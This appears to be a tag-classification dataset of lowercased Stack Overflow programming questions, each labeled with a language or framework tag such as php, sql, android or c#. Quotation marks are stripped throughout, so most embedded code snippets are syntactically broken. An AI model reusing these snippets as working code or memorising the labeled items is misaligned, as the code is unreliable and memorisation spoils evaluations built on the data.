rails 4: form_for with nested resource and without  in my app  when a regular user logs in  they are dropped in on a dashboard that displays service requests for the company they <code>belong_to</code>.    when an admin logs in  they are dropped onto a dashboard that displays all of the company logos that can login and file service requests.    the views between a regular user and an admin user are virtually the exact same  outside of one or two entities on the form (which are controlled via <code>cancan</code>). so i am trying to be able to use the same form for if an admin creates an sr or a regular user creates an sr.    routes.rb:   <pre><code>  resources :service_requests do     resources :notes   end    namespace :admin do     get     to:  dashboard#index   as:  /       resources :companies do       resources :service_requests  only: [:index  :new]     end   end </code></pre>   if an admin logs in and clicks on a company logo and clicks to create a new sr  the route is <code>/admin/companies/1/service_requests/new</code>. if a regular user logs in it is  <code>/service_requests/new</code>. i am just slightly confused on how to reuse the same form for both the admin and non-admin side. because i am setting the <code>company_id</code> on the sr in my create resource in the <code>servicerequestscontroller</code>,ruby-on-rails
does java have a converter   i m looking for an <code>interface</code> which accepts a generic <code>object</code> of one type  and returns another. in effect  it performs a kind of <em>conversion</em> or <em>interpretation</em> of the supplied value.    i could easily create a class  as follows:   <pre><code>public interface iconverter&lt;t  u&gt; {     /** converts the @param pt to one of type u. */     u convert(final t pt); } </code></pre>   however  i don t want to re-invent the wheel!     is there an existing class in java 7 that i should be using instead     <strong>edit</strong>    i should emphasise that the conversion to be performed is totally context-specific  and it doesn t have to really <em>care</em> about the underlying data within the class; it can be totally arbitrary.    imagine the use case where i d like to provide a user-friendly description of an <code>object</code>. here  i d like to provide translation between an <code>object</code> instance and a <code>string</code>  <em>without</em> overriding <code>tostring()</code>.,java
angularjs dynamic table from multiple dropdown selects  i have two select inputs  which options i get from the controller. when both of these inputs are selected  there needs to be a table with certain data. in this case  you need to select bus number and a bus stop  then a table appears with hours and minutes for each hour. i m fresh to angular so i don t really know how to tackle this. so far i have this: <a href= https://plnkr.co/edit/u7fmkwnlbxb0bmmbv561 p=preview  rel= nofollow >https://plnkr.co/edit/u7fmkwnlbxb0bmmbv561 p=preview</a>    the markup:   <pre><code>    &lt;div ng-app= timetable  ng-controller= ngctrl &gt;     &lt;section class= content &gt;         &lt;section class= filter-wrapper &gt;             &lt;h2&gt;bus no.:             &lt;span&gt;&lt;select ng-model= selectedno  ng-options= x for x in busnum &gt;&lt;/select&gt;&lt;/span&gt;             &lt;/h2&gt;             &lt;h4&gt;stop name: &lt;span&gt;&lt;select ng-model= selectedstop  ng-options= x for x in stopname &gt;&lt;/select&gt;&lt;/span&gt;             &lt;/h4&gt;         &lt;/section&gt;         &lt;table class= time-table &gt;             &lt;tr ng-repeat= time in time &gt;                 &lt;th&gt;{{time.hour}}&lt;/th&gt;                 &lt;td ng-repeat= minute in time.minutes &gt;{{minute}}&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/section&gt;     &lt;footer class= footer &gt;      &lt;/footer&gt; &lt;/div&gt; </code></pre>   javascript:   <pre><code>    var app = angular.module( timetable   []);        app.controller( ngctrl   function ($scope) {     $scope.busnum = [1  2  3];     $scope.stopname = [ stop1    stop2    stop3 ];     $scope.time = [         {             hour: 7              minutes: [num  num  num  num]         }          {             hour: 8              minutes: [num  num  num  num]         }         //and so on...     ]; }); </code></pre>   thanks in advance.,angularjs
php error only get a value in array   i have a sample code:   <pre><code>$link = array( google.com    facebook.com ); $name = array( google    facebook );  $data = array(); for($i=0; $i&lt;count($link); $i++) {    $data[ name ] = $name[$i];    $data[ link ] = $link[$i]; } print_r($data); </code></pre>   => result on show <code>array ( [name] =&gt; facebook [link] =&gt; facebook.com )</code>    not show all  how to fit it,php
php coded text decoding  into a string  i have some coded text.   <pre><code>... f&amp;#252;r ... </code></pre>   it is a german word  für .    how can i transform the whole text to german text     thanks for help.,php
how to get elements with class  a b  and change it to  a  only  <pre><code>&lt;div class= a b &gt;&lt;/div&gt; </code></pre>   say  i want to change it to:   <pre><code>&lt;div class= a &gt;&lt;/div&gt; </code></pre>   and reversely  how to add class  b  to a <code>div</code> with class  a,jquery
change my datepicker format from (yyyy/mm/dd) to (yyyy-mm-dd)  my datepicker format is (yyyy/mm/dd)   my sql only reads (yyyy-mm-dd) format my system only accepts that specific format or the show report wont work properly. is there anything that i could add   so when i click the specific date the format will be (yyyy-mm-dd)     what should i do please help me. h thanks    this is my php file   <pre><code>&lt;head&gt;   &lt;meta charset= utf-8 &gt;   &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;    &lt;link rel= stylesheet  href= //code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css &gt;   &lt;link rel= stylesheet  href= /resources/demos/style.css &gt;   &lt;script src= https://code.jquery.com/jquery-1.12.4.js &gt;&lt;/script&gt;   &lt;script src= https://code.jquery.com/ui/1.12.1/jquery-ui.js &gt;&lt;/script&gt;   &lt;script&gt;   $( function() {     $(  #datepicker  ).datepicker();   } );   &lt;/script&gt; &lt;/head&gt;   &lt; php include( session.php );  &gt; &lt; php include( header.php );  &gt; &lt;body&gt; &lt;div id= wrapper &gt; &lt; php include( navbar.php );  &gt; &lt;div style= height:50px; &gt;&lt;/div&gt; &lt;div id= page-wrapper &gt; &lt;div class= container-fluid &gt;     &lt;div class= row &gt;         &lt;div class= col-lg-12 &gt;              &lt;h1 class= page-header &gt;inventory report&lt;/h1&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= row &gt;         &lt;div class= col-lg-12 &gt;             &lt;table width= 100%  class= table table-striped table-bordered table-hover  id= invtable &gt;                 &lt;thead&gt;                     &lt;tr&gt;  &lt;center&gt;  &lt;form action= total_inventory.php  method= post &gt; &lt;p&gt;from: &lt;input type= text  class= datepicker  placeholder= e.g.(2018-01-14)  name= dayfrom  required pattern= [0-9]{4}+[0-9]+[0-9]  id= datepicker &gt; to: &lt;input type= text  class= datepicker  placeholder= e.g.(2018-02-11)  name= dayto  required pattern= [0-9]{4}+[0-9]+[0-9]  id= datepicker1 &gt;     &lt;input type= submit  value= show report  name= salesbtn  &gt;&lt;/form&gt;  &lt;/center&gt;                          &lt;th class= hidden &gt;&lt;/th&gt;                         &lt;th&gt;date&lt;/th&gt;                         &lt;th&gt;user&lt;/th&gt;                         &lt;th&gt;action&lt;/th&gt;                         &lt;th&gt;product name&lt;/th&gt;                         &lt;th&gt;quantity&lt;/th&gt;                     &lt;/tr&gt;                 &lt;/thead&gt;  &lt; php include( script.php );  &gt; &lt; php include( modal.php );  &gt; &lt; php include( add_modal.php );  &gt; &lt;script src= custom.js &gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,php
searching a binary tree for a string  i am looking to search a binary tree to find a string stored in the nodes.   <pre><code>public void traverse (binarytreenode root){      if (root.leftchild != null){         traverse (root.leftchild);     }         system.out.println(root.character);     if (root.rightchild != null){         traverse (root.rightchild);     } } </code></pre>   this works perfectly fine and displays all the nodes in the tree. (the code was worked from code on another old stackoverflow question! my issue is how to compare root.character to the inputted string and if it matches break out of the recursion. if someone could drop some hints i would appreciate it.    <pre><code>    public binarytreenode traverse (binarytreenode root  string instring){ // each child of a tree is a root of its subtree.     if (root.character != null) {         if (root.character.equalsignorecase(instring)) {             system.out.println( root.charcter:   + root.character +   char   + instring);             return root;         }     }     if (root.leftchild != null){         traverse (root.leftchild  instring);     }      if (root.rightchild != null){         traverse (root.rightchild  instring);     }      return null; } </code></pre>   the code above seems to work  it returns the correct binarytreenode however  i haven t worked out how to stop the recursion once the node is found and therefore it returns a null at the end aswell.,java
initialization and assigning of 2d array in javascript <pre><code>var array = []; var arr = []; var i; for (i = 0; i &lt; 2; i++) {     var temp = [];// using array[i] = new array() works fine     array.push(temp);     arr.push(temp); } array[0].push(1); arr[0].push(2); alert(array[0]); </code></pre>   the above javascript code gives [1 2] as out put.  where as using  <em>new array()</em>  instead of  <em>push([])</em>  gives [1].  i was able to find the issue  but i don t get reason why. can some one explain this,javascript
how can i get the array index within an  for (id item in items)  objective-c loop   how can i get the array index within a  for (id item in items)  loop in objective-c   for nsarray or nsmutablearray for example.    for example:   <pre><code>for (id item in items) {     // how to get item s array index here  } </code></pre>,objective-c
performselectorinbackground and performing ui operation  in application i need to take image out of uiview. frame of that view is w 1800 and h 1200.    this activity takes lot time and screen stucks there unless this activity get finish.     i need to perform this activity in background so that user can continue with other things.    what is best approach to achive this. i tried with    <pre><code>- (void)performselectorinbackground:(sel)aselector withobject:(id)arg </code></pre>   but application get crash as it doesn t allow ui operation with this. if i go with    <pre><code>- (void)performselectoronmainthread:(sel)aselector withobject:(id)arg waituntildone:(bool)wait </code></pre>   screen stucks there unless this activity get finish.    i need to perform following activity in background   <pre><code>-(void) prepareimagedata {     uiimage* frontviewimage = [self preparefrontimage:[self getsavedfrontimage]];     [self saveimageindocumentwithname:frontviewimage filename:@ frontview.png ];      uiimage* rearviewimage  = [self preparebackimage:[self getsavedbackimage]];;     [self saveimageindocumentwithname:rearviewimage filename:@ backview.png ]; }     -(uiimage*) getsavedbackimage     {         uiimage* background;         uiimage* messagetextview;         uiimage* totextview;         uiimage* fromtextview;          background      = [self getimagefromview:self torect:self.frame];          cgrect rect = cgrectmake(0  0  1800  1200);         uigraphicsbeginimagecontext(rect.size);         cgpoint backgroundpoint = cgpointmake(0 0);         [background drawatpoint:backgroundpoint];         uiimage* backimage = uigraphicsgetimagefromcurrentimagecontex();         uigraphicsendimagecontext();          return backimage;     }      - (uiimage *) getimagefromview:(uiview *)aview torect:(cgrect)arect     {         cgsize pagesize = arect.size;         uigraphicsbeginimagecontext(pagesize);         [aview.layer renderincontext:uigraphicsgetcurrentcontext()];         uiimage *image = uigraphicsgetimagefromcurrentimagecontext();         uigraphicsendimagecontext();         return image;      } </code></pre>   please help me on this.    thanks.,iphone
managing multiple views and interactions  i have a table that contains 4 varying types of data and depending on the type of data that is selected by the user  a specific edit view is shown. one of these views has one edit field  a second one has 2 edit fields  a third one uses a picker  and so on. what s the best way to handle these varying views without an explosion of classes and without too  switch ing to figure out which data i m working with      one way i can think of is to have 4 different view controllers with respective views and then launch each one when the specific item is selected in the table but is there another elegant way to do this,iphone
my antivirus makes my test server recompile constantly  i just installed pc tools anti-virus and my asp.net website recompiles everything before every page load.    which folder are asp.net website files in  so that i can prevent this from happening     and  i m probly not the first person with this kind of error  so is there a common solution for this     thank you  -theo,asp.net
design pattern which can avoid if else condition to take decision about major functionality in .net  example:   <pre><code>issettingenabled == true      //call mathod1  else      //call method 2 </code></pre>   the disadvantage of this  in my project  is that the flow can be easily known to someone because of the if else.    please let me know if this problem can be solved by some design pattern.,.net
how do i put two tables together in sql  i have a driver table with id  car model  and fastest lap columns and would like to put that together with the car table which has  car model  horse power and cost columns. and i want my big table to have id  car model  fastest lap  horsepower  cost columns.,sql
return sql assist-to-turnover ratio  access is telling me that the round expression isn t part of the aggregate function.   <pre><code>select distinct playername  round(g.a / g.to 2) as atoratio from (select * from players_t p inner join gamestats_t g on p.jerseynumber=g.jerseynumber where g.to&gt;0) where g.a/g.to &lt; (select sum(a)/sum(to) from gamestats_t) group by playername; </code></pre>,sql
android developement - if-then-else statement. switching images  so what i would like to do here is that the starting image is assigned with tag 0. when i run the method  i want the image to change to gallows1 and get a tag of  1 . then when its run again  i want it to keep gallows1 with a tag of 1  and then change it to gallows2  and reassign it.... basically  i want 1 image to change to the next  and so forth as the method runs 6 times.     here is what i have so far.   <pre><code>public void switchimage(view view) {         imageview img = (imageview) findviewbyid(r.id.imageview1);         img.settag( 0 );         if (img.gettag() ==  0 ) {             img.setimageresource(r.drawable.gallows1);             img.settag( 1 );         } else if (img.gettag() ==  1 ) {             img.setimageresource(r.drawable.gallows2);             img.settag( 2 );         } else if (img.gettag() ==  2 ) {             img.setimageresource(r.drawable.gallows3);             img.settag( 3 );         } else if (img.gettag() ==  3 ) {             img.setimageresource(r.drawable.gallows4);             img.settag( 4 );         } else if (img.gettag() ==  4 ) {             img.setimageresource(r.drawable.gallows5);             img.settag( 5 );;         } else if (img.gettag() ==  5 ) {             img.setimageresource(r.drawable.gallows6);             img.settag( 6 );         } else if (img.gettag() ==  6 ) {             return;         }     } </code></pre>   the game i am making is hangman  but instead of using graphics  i wanted to have a twist (its for a challenge proj) and have progressing images show up instead.,android
mysql error - you have an error in your sql syntax near line 1  having an issue with mysql.  here is the error i am getting:    you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near    at line 1    i have tracked in down to the following line   <pre><code>$result = mysql_query( select prog.* from members as memb left join user_program as prog using (id) where memb.username=  .mysql_escape_string($_session[ loggedin ]).   &amp;&amp; program_id={$global[ program ]} ) or die( the matrix is on fiya .mysql_error()); </code></pre>   however i am unsure of what is causing it to fail.,mysql
communication of service with windows application  i have a windows service running on a machine  on the same machine i have windows application running. my requirement is:   <ol> <li> the windows application should send a input to the windows service  based on the  input   given by windows application   windows service would do some calculation and return an input.  </li> <li> the input given by windows application to the service would be of  string  type mostly.and the response by windows service to the windows application would be of object type. </li> </ol>   some one suggested remoting would do my job. please suggest me with some code(say the method being called by windows application is demo_service(of windows service).    dot net version:2.0 studio version:2005,.net
android randomize strings without repetition  i m doing a simple random quiz app in android. so basically i have string array of words. i need to display the string without repetition. this is what i ve tried so far:   <pre><code>string[] words = {  welcome    different    teenager    transfer    italian                        timber    toxic    illiterate    irate    moderate    transportation    attention  };   arraylist&lt;string&gt; wordlist = new arraylist&lt;string&gt;(); for (string i : words)      wordlist.add(i); collections.shuffle(wordlist);  randomstr = words[new random().nextint(words.length)];  tvword.settext(  ); tvword.settext(randomstr); </code></pre>   but i still get the random word repeating. what am i doing wrong in here  any ideas  i would gladly appreciate your help. thanks.    update:    first on a button click the word should then display. and many times i click the button i keep getting the same word again.   <pre><code> switch(v.getid()){     case r.id.btplay:         randomwordlist();         break;  } </code></pre>   where randomwordlist(); is the method i posted above.,java
conditional execution of conditions based on return value of case statement  i want to realize this functionality in sql (basically b=2 and c in (3 4 5) are two conditions that i want to add to my select statement at the top level).    if a=1 then i want the first condition to be checked  else the second condition should be checked.   <pre><code>case    when a=1 then {and b=2}   else {and c in (3 4 5)} </code></pre>   can someone help me regarding this  the total query is too complex for me to separately keep the entire query inside the then clause.,sql
problem with system.web.extension after installing .net 3.5 sp1  i have a solution that includes several class library s and a website. the solution was built in .net 2.0 visual studio 2005  and later converted to .net 3.5 (all class library s and website are targeting 3.5 framework). before installing the update  the website functioned perfectly. after  a build fails on  <code>using system.web.extensions;</code> the error message is:  <code>the type of namespace extensions does not exist in the namespace system.web (are you missing an assembly reference )</code> .    i looked in the .net 2.0 framework folder and the system.web.extensions .dll was indeed gone. however the c:\program files\reference assemblies\microsoft\framework\v3.5 folder had the .dll. the gac shows two system.web.extensions  the old 1.06 version and the new 3.5 version. i have the web.config rebinding to the new version.    i checked my references  deleted the old one and added a reference to  the .3.5 version of system.web.extensions. it didn t work  the build failed at the same place.    i then copied the .dll to the bin of my website  and pointed the reference there. that also did not work  the solution did not build  and when i looked at the references  it appeared to not have a reference to the file in the bin folder.    note: the system has .net 1.1 installed  visual studio 2003  and 2005.    can anyone point me to what i can do to fix this  i know uninstalling the 3.5 sp1 update will fix it  but i d rather keep it.    thank you deb,.net
passing variables to angular.js scope from web page  what is correct way of passing variables from web page when initializing <code>$scope</code>     i currently know 2 possibilities:   <ol> <li><code>ng-init</code>  which looks awful and not recommended ( )</li> <li>using ajax request for resource  which requires additional request to server which i do not want.</li> </ol>   is there any other way,angularjs
handling void assignment in c++ generic programming  i have c++ code that wraps an arbitrary lambda and returns the result of the lambda.   <pre><code>template &lt;typename f&gt; auto wrapandrun(f fn) -&gt; decltype(f()) {     // foo();     auto result = fn();     // bar();     return result; } </code></pre>   this works unless <code>f</code> returns <code>void</code> (<code>error: variable has incomplete type  void </code>). i thought of using a <code>scopeguard</code> to run <code>bar</code>  but i don t want <code>bar</code> to run if <code>fn</code> throws. any ideas,c++
passing blocks around in javascript without lengthy function syntax  in my testing code  i m getting a lot of things that look like this:   <pre><code>test.truth(function(){return mytest.isdef(  )}); </code></pre>   where a majority of the line there is just the function boilerplate. is there a way to reduce that  so that i can have a syntax more like:   <pre><code>test.truth { mytest.isdef(  ) } </code></pre>   as one would do in scala     of course  ideally this is highly browser compatible.,javascript
hiding multiple elements when css changes  i have a few buttons i am using as tags. i would like to check whether the tags are visible and if all tags are hidden  then hide the clear selection link.  my html is:   <pre><code> &lt;div class= col-xs-12 col-sm-5 cols &gt;       &lt;div id= tags &gt;       &lt;button type= button  class= btn btn-default usertitle-tag hide-tag tg-btns &gt;x &amp;nbsp;&amp;nbsp;usertitle&lt;/button&gt;       &lt;button type= button  class= btn btn-default comments-tag hide-tag tg-btns &gt;x &amp;nbsp;&amp;nbsp;comments&lt;/button&gt;       &lt;button type= button  class= btn btn-default topics-tag hide-tag tg-btns &gt;x &amp;nbsp;&amp;nbsp;topics&lt;/button&gt;       &lt;button type= button  class= btn btn-default login-tag hide-tag tg-btns &gt;x &amp;nbsp;&amp;nbsp;login&lt;/button&gt;     &lt;/div&gt;        &lt;a href= #  class= cancel clear &gt;clear selection&lt;/a&gt;         &lt;/div&gt; &lt;!--/.col-xs-12--&gt; </code></pre>   i have tried this with jquery but the clear selection is still visible. where am i going worng    <pre><code>$( .hide-tag ).each(function(){      if ( $(this).css( display ) ==  none ){        $( .clear ).hide();     }  }); </code></pre>,jquery
c++ const on a collection  i was surprised when the declaration:   <pre><code>const std::map&lt;double  foo*&gt; mycollection; </code></pre>   would not allow me to call non-const methods on foo*.  i thought the const applied to the collection itself (i.e.  no items could be added or removed).  i would think the way to convey item const would be:   <pre><code>std::map&lt;double  foo const*&gt; mycollection; </code></pre>   it seems the const in the first code snippet is distributive to the contents of the map instead of my assumption of applying only to the collection.    am i missing something here   it seems counter-intuitive.  how can i call non-const methods on the foo* objects in the first declaration,c++
functions don t execute in the order i expect when using settimeout()  i have this code where i am using two javascript functions that do some manipulating for me. one function does some calculation but calls the other function before doing anything else. when the other function returns to it  it is supposed to do the final calculations.    <strong>the problem:</strong> the call to the other function is not executing properly. even before the second function returns the first function executes completely.   <strong>code:</strong>    <pre><code>firstfunction{          secondfunction();          do something more nothing related to second      }  secondfunction(){             settimeout(func1(){                do something independently                  then call func1 depending on some condition                } time);               } </code></pre>   second function is used somewhere else also and is working fine.    <strong>my question:</strong>    i used this code thinking that the first function will not execute before second function executes completely. is it right  isn t this the way javascript functions should run  the first function executes completely before second returns. i am sure of this because after second returns the position for the graphic first is supposed to place that graphic on screen. but the first executes completely and the graphic is placed awkwardly on screen and viewer can see it moving to right position given by the loop of second. is <code>settimeout</code> causing this problem  please help.,javascript
how to do something when a python object is destroyed   how can i perform some cleanup action when a python object is destroyed (for any reason),python
android export wizard error  i want to create a signed apk  and eclipse shows me this dialog<img src= https://i.stack.imgur.com/ya0kf.png  alt= enter image description here >    i m using custom sdk ( not from google ). is anybody knows how to fix this problem,android
how to make sure a batch file is executed properly through a cmd from a c# applicaiton   i have a c# applications which writes to a batch file and executes it. the application to be started and the path of application will be written in batch file and executed. which is working fine.    how can i make sure that the application launched successfully via my batch file run in command prompt      is there any value that cmd returns after executing a batch file   or any other ideas please...    code i am using now :    <pre><code>        public void execute()     {              string latestfilename = getlastwrittenbatchfile();             if (system.io.file.exists(batchpath + latestfilename))             {                 system.diagnostics.processstartinfo procinfo = new system.diagnostics.processstartinfo( cmd.exe );                 procinfo.useshellexecute = false;                 procinfo.redirectstandarderror = true;                 procinfo.redirectstandardinput = true;                 procinfo.redirectstandardoutput = true;                  system.diagnostics.process process = system.diagnostics.process.start(procinfo);                  system.io.streamreader stream = system.io.file.opentext(batchpath + latestfilename);                 system.io.streamreader sroutput = process.standardoutput;                 system.io.streamwriter srinput = process.standardinput;                  while (stream.peek() != -1)                 {                     srinput.writeline(stream.readline());                 }                  stream.close();                 process.close();                 srinput.close();                 sroutput.close();             }             else             {                 exceptionhandler.writetologfile( file not found );             }      } </code></pre>,c#
rails 4- ransack with collection_select - how to display names in collection rather than ids <ul> <li>i am trying to use ransack to search through a list of socials via the category age.</li> <li>i have successfully managed to do this but the id of the listed ages are appearing rather than the name</li> <li>to make it more will list what have within my file</li> </ul>  <blockquote>    schema  </blockquote>  <pre><code>socials t.string    title  t.text      description  t.string    address  t.integer   category_age_id   category_ages t.string    name  </code></pre>  <blockquote>    seed.rb  </blockquote>  <pre><code>categoryage.delete_all ca01 = categoryage.create!(name: 18 - 24 ) ca02 = categoryage.create!(name: 25 - 34 ) ca03 = categoryage.create!(name: all ages ) </code></pre>  <blockquote>    model  </blockquote>  <pre><code>social.rb belongs_to :category_age  category_age.rb has_many :socials </code></pre>  <blockquote>    controller  </blockquote>  <pre><code>socials_controller.rb def index  @search = social.search(params[:q])  @socials = @search.result(distinct: true)  @age = social.find_by_sql( select category_age_id from socials group by category_age_id ).map &amp;:category_age_id end </code></pre>  <blockquote>    views  </blockquote>  <pre><code>views/socials/index.html.erb age group: &lt;%= f.select :category_age_id_eq  @age %&gt; </code></pre>   i have tried the below code in the views/social/index.html.erb file but no success   <pre><code>age group: &lt;%= f.select :category_age_name_eq  @age %&gt; </code></pre>   my ransack works perfectly but how do i make the name of the category to display rather than the id. the image attached show the ids  but would like to see for example 18 - 24. your help would be much appreciated    <a href= https://i.stack.imgur.com/sejd4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sejd4.png  alt= enter image description here ></a>,ruby-on-rails
using iframe to load content from another html  i need to display content(present in another html) in an iframe inside an already present html page. the iframe should first check if there is some content in the html  and only load if there is  if the source html is empty the iframe should not load.    thank you,html
accessing a struct field in adjacent to a conditional expression  why there is a difference between the 2 next code segments:   <pre><code>struct g {     int m[100]; };   struct a {     struct g ttt[40];     struct g hhh[40]; }man;   extern int bar(int z);   //this code generate a call to memcopy. void foo1(int idx){     bar(((idx == 5)   man.hhh[idx+7] : man.ttt[idx+7]).m[idx+3]); }  //this code doesn t generate a call to memcopy.     void foo2(int idx){     bar(((idx == 5)   man.hhh[idx+7].m[idx+3] : man.ttt[idx+7].m[idx+3])); } </code></pre>   in both codes segment i want to send the same field (depends on the conditional expression) to bar function. however one the first code generate a call to memcopy (when compiled with clang to powerpc arch it can be seen clearly). i wrote a little main and run the 2 functions and they gave me the same output (compiled with gcc 4.4.7).,c
if in object pushing  i want to create object that will contain x-amount datasets only if the data for each of the datasets.data (londontemp  nytemp) is higher than 0. my attempt would be to put <code>if</code> in front of the second dataset object  but cannot do it.   <pre><code>var container = {     temp : {         labels:             datasets: [             {                label:  london                  type:  bar                 data: londontemp             }              {                          // this object               label:  ny               // to exist               type:  line              // only if               data: nytemp             // nytemp &gt; 0             }        ]     } }; </code></pre>,javascript
difference between openrowset linked server opendatasource  difference between openrowset linked server opendatasource and openquery in sql server,sql
how do you past values between classes in objective-c  how do you past values between classes in objective-c,objective-c
get accurate element height  i am having difficulty getting correct height of  elements. when i do it  with jquery:    <pre><code>$(this).find( .item:first ).height(); </code></pre>   i get 14  but in reality it is 18px.    i am trying to place the items inside another div and add an overflow. my thought was to get one item s height then multiply by number of items that want to show. by getting a wrong reading i can t seem to be able to accomplish this properly.    what am i doing wrong     is it possible to count the height of the group of items  say 1-5 if they all have the same class and are identical,jquery
c++ virtual method not called as desired  i m stuck and already tried a alot to solve this  virtual  problem and so i beg you to help me  cause it s probably something stupid that a  trained eye  can solve in seconds..    the problem: when i do the following in main:   <pre><code>prologconnector swiprolog; swiprolog = prologconnector::connectorfactory(prologconnector::swi argv); swiprolog.send( blabla ); </code></pre>   always the send method of the prologconnector class is called  but not the one from the subclass.. do you see the problem     thanks for the help!!    here s the code: prologconnector.h   <pre><code>class prologconnector {    virtual int send(char * cmd);    virtual int init(char **argv);    static prologconnector connectorfactory(prolog prolog  char ** argv); }; </code></pre>   prologconnector.cpp   <pre><code>int prologconnector::send(char * argv) {   std::cout &lt;&lt;  not wanted &lt;&lt;std::endl;   return 0; }   int prologconnector::init(char **argv) {   //todo add implementation   return 0; }   prologconnector prologconnector::connectorfactory(prolog prolog  char **argv) {   if (prolog == swi) {     swiconnector sc;     sc.init(argv);     return sc;   }  std::cout &lt;&lt; error in initialization! &lt;&lt;std::endl; prologconnector pc; return pc; } </code></pre>   swiconnector.h:   <pre><code>class swiconnector : public prologconnector {   int send(char *cmd);   int init(char **argv); }; </code></pre>   swiconnector.cpp:   <pre><code>int swiconnector::init(char **argv) { //some action going on }   int swiconnector::send(char * cmd) {  //some action going on } </code></pre>,c++
looking for a .net disk-buffered stream  i have an .net 2.0 web application that is only used as the back-end for a client application that will send it a request with 1-500kb of data  and the server will do some processing on that data  then query a database to build a set of data to return the client -- anywhere from 200kb to 200mb of data.  the data may take up to 15 minutes to fully load from the database  and up to an hour to fully transfer to the client (though typical times are quite a bit lower -- 20s query  10s transmit).  however  for some combinations of database query and client  sometimes the db is faster  sometimes the link to the client is faster.    clients connect over varying quality of links -- some over a 10mb lan  some over a shared 64kbps isdn link.  i have four things i want to ensure:   <ol> <li>database connection must be held open as short of a period as possible.</li> <li>minimal server memory must be used.</li> <li>data must be streamed to the client as quickly as possible.</li> <li>total duration of the process should be as close to the maximum of the two processes (db wait time  network transmission time) as possible  rather than the sum of the time of the two processes.</li> </ol>   so far  we have three modes we can run the code in:   <ol> <li>as data is fetched from the db  write it to the response stream.</li> <li>as data is fetched from the db  save it in memory.  when the db read is complete  close the db connection and write the data from memory to the response stream.</li> <li>as data is fetched from the db  write it to a temporary file.  when the read from the db is complete  close the db connection and read from the temp file and write to the response stream.</li> </ol>   as you could imagine  none of these fully meet our requirements for all the scenarios.  we ve talked about implementing some code to guess based on some variables which of the three codepaths we should use  but i think there s a more general solution here  and i m looking for some code/a library that can take care of this for us.    what i m looking for is something i can wrap around a .net stream (the output stream) that i can write to from our httphandler  and it will handle writing it the data to the underlying stream.  if the underlying stream has too much pending data  it is stored in memory and sent later  when it can.  once that in-memory buffer gets too big  it falls back to a temporary file as a buffer.  when i try to close the stream  it blocks until all the data has been written to the stream.    do you know of any code like this i could use as a starting point  or a library that has something like this  or any guidance on things i should watch out for   or  am i trying to completely over-engineer this solution,.net
suddenly entity data model wizard window crashes with mysql db 5.7.21.0  i am using mysql community-5.7.21.0 database and visual studio 2017. mysql database is successfully installed. also  i have created a database &amp; some table.    my problem is when i am trying to the establish the connection with entity data model wizard  after establishing the database configuration in entity data model wizard click next button  then suddenly entity data model wizard window crashes.,mysql
hide content on asp.net page besides using panel  i have some limitations in terms of using the the asp.net panel:   <pre><code>    &lt;asp:panel&gt; </code></pre>   the issue is that i cannot use a panel within a panel based on how we got some items programmed.    wondering what else i can use inside of a panel to hide info. i tried using a div but that did not work.   <pre><code>    &lt;div id= mydiv  runat= server &gt;&lt;/div&gt;       mydiv.visible = false;  </code></pre>,asp.net
cause of -[nsconcretemutabledata bytes]  can anyone tell me the general cause of this issue <code>-[nsconcretemutabledata bytes]:</code> message sent to deallocated instance 0x7f7bce0    thanks,objective-c
intent to uninstall user apps android  my app displays all user apps in a <code>listview</code>  i want to take the user to the screen where they can uninstall that app onclick. however  the code i am using opens the info screen for about 1/4 second and then takes the user back to the app. where am i wrong     <pre><code>listview listview = (listview) findviewbyid(r.id.mobile_list); listview.setadapter(adapter); listview.setonitemclicklistener(new onitemclicklistener() {     @override     public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {         string packagename = results.get(position);         intent intent = new intent(android.provider.settings.action_application_details_settings);         intent.setflags(intent.flag_activity_new_task);         intent.setdata(uri.parse( package:  + packagename));         startactivity(intent);     } }); </code></pre>   i would like to take the user directly to the message where it asks  are you sure you want to uninstall &lt;appname>.apk,android
how do i ensure my entire team has exactly the same version of the .net runtime   my team is writing an asp.net webapp in vs2008 targeting .net3.5 sp1. some of us have the .net runtime version <code>2.0.50727.3082</code> installed  and others have <code>2.0.50727.3053</code>. everyone s windows update reports no available updates  even the people with the lower build number  and i wouldn t care at all except that all <code>.designer.cs</code> files include the runtime version in their header  and the differing runtime versions cause spurious changes in source control. installing the very latest .net3.5 setup from microsoft doesn t address the issue - the .3053 version is still installed  even after the runtime is  repaired .    in the short term  how do i upgrade from .3053 to .3082  and in the medium term how do i ensure my entire team is on the same .net runtime version,.net
how to append a node in the existing json string   i have a json string as below.                  <pre><code> {   filename : mypage.html     info :{    title :{       name : title         values :[          this is title       ]        numericvalues :[       ]        datetimevalues :[       ]        linkedcomponentvalues :[       ]        fieldtype :0   }    }     id : 123       title : this is my page    } </code></pre>   i am desearilizing the json input string as below.   <pre><code> var outputobject= jsonconvert.deserializeobject(input); </code></pre>   now i would like to add a below new node in the input json string (<strong>after the title in the info</strong>) using c#.   <pre><code> description :{       name : description         values :[          this is description       ]        numericvalues :[       ]        datetimevalues :[       ]        linkedcomponentvalues :[       ]        fieldtype :0   } </code></pre>   after adding the node  i want to searilize the object into string. i am facing issue to add the new node in the input json string under the info node. i am just giving small example. but my input json string is big one and it has different structure. but it is valid json.    <strong>my final json should be as below.</strong>   <pre><code>       {      filename : mypage.html       info :{    title :{       name : title         values :[          this is title       ]        numericvalues :[       ]        datetimevalues :[       ]        linkedcomponentvalues :[       ]        fieldtype :0   }         description :{       name : description         values :[          this is description       ]        numericvalues :[       ]        datetimevalues :[       ]        linkedcomponentvalues :[       ]        fieldtype :0   }     }        id : 123       title : this is my page    } </code></pre>   this is what am trying  i need to add inside the  info . please note  am not creating a model or generating input json. i am getting an input json as string. after getting json string  i need to append a attribute (description) inside the  info .   <pre><code> var inputobject = jsonconvert.deserializeobject(input);         var description = new description         {             name =  description               values = new list&lt;string&gt;{ this is description }              numericvalues = new list&lt;string&gt;()              datetimevalues = new list&lt;string&gt;()              linkedcomponentvalues = new list&lt;string&gt;()              fieldtype = 0              keywordvalues = new list&lt;string&gt;()           };          var descriptionobject = jobject.fromobject(description);         var test = jobject.fromobject(inputobject);         test.add( descrition   descriptionobject); </code></pre>  